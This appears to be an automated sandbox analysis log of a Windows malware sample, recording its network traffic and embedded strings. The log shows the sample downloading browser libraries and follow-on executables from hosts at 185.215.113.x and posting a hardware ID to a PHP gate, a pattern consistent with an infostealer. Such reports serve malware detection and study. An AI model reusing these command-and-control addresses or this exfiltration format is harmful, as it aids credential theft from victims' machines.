Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6CCC60 PR_Recv,

0_2_6C6CCC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=G+bEnhNl5FUz8b7&MD=GX5LnaWY HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=G+bEnhNl5FUz8b7&MD=GX5LnaWY HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 12 Nov 2024 14:29:48 GMTIf-None-Match: "6733665c-1bda00"
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJJKFCBGIDGHIECGCBKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 42 43 41 37 36 43 38 30 35 33 34 32 32 38 33 31 39 34 30 33 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="hwid"D4BCA76C80534228319403------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="build"mars------EHJJKFCBGIDGHIECGCBK--

Source: file.exe, 00000000.00000002.1987019015.0000000001318000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.1987019015.0000000001318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe;R
Source: skotes.exe, 0000000C.00000002.2906621751.000000000129A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000C.00000002.2906621751.000000000131D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 0000000C.00000002.2906621751.000000000131D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exek3;
Source: skotes.exe, 0000000C.00000002.2906621751.00000000012EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 0000000C.00000002.2906621751.00000000012EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe61395d7fC_
Source: skotes.exe, 0000000C.00000002.2906621751.000000000131D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe:2
Source: skotes.exe, 0000000C.00000002.2906621751.000000000131D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe?3
Source: skotes.exe, 0000000C.00000002.2906621751.00000000012EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeZ
Source: file.exe, 00000000.00000002.1987019015.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1980746519.0000000000337000.00000040.00000001.01000000.00000003.sdmp, 2012aae27e.exe, 0000000E.00000002.2571550007.000000000169E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll3
Source: file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1987019015.0000000001318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllG
Source: file.exe, 00000000.00000002.1987019015.0000000001318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1987019015.0000000001318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllz/;
Source: file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/J
Source: 2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php%/
Source: 2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php7Z
Source: 2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php=
Source: file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpK%
Source: 2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpQ
Source: file.exe, 00000000.00000002.1987019015.0000000001318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpSession
Source: 2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpa
Source: file.exe, 00000000.00000002.1980746519.0000000000337000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: 2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpm
Source: file.exe, 00000000.00000002.1987019015.0000000001318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpn(S
Source: 2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpu
Source: 2012aae27e.exe, 0000000E.00000002.2571550007.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/x
Source: 2012aae27e.exe, 0000000E.00000002.2571550007.000000000169E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.2068A
Source: file.exe, 00000000.00000002.1980746519.0000000000337000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206Local
Source: skotes.exe, 0000000C.00000002.2906621751.0000000001308000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000C.00000002.2906621751.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000C.00000002.2906621751.00000000012EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000000C.00000002.2906621751.0000000001344000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php-
Source: skotes.exe, 0000000C.00000002.2906621751.000000000131D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php3
Source: skotes.exe, 0000000C.00000002.2906621751.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php4
Source: skotes.exe, 0000000C.00000002.2906621751.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php5763001
Source: skotes.exe, 0000000C.00000002.2906621751.0000000001344000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpW
Source: skotes.exe, 0000000C.00000002.2906621751.00000000012EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpk
Source: skotes.exe, 0000000C.00000002.2906621751.0000000001344000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 0000000C.00000002.2906621751.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 0000000C.00000002.2906621751.0000000001344000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpo
Source: skotes.exe, 0000000C.00000002.2906621751.0000000001344000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpsdX
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
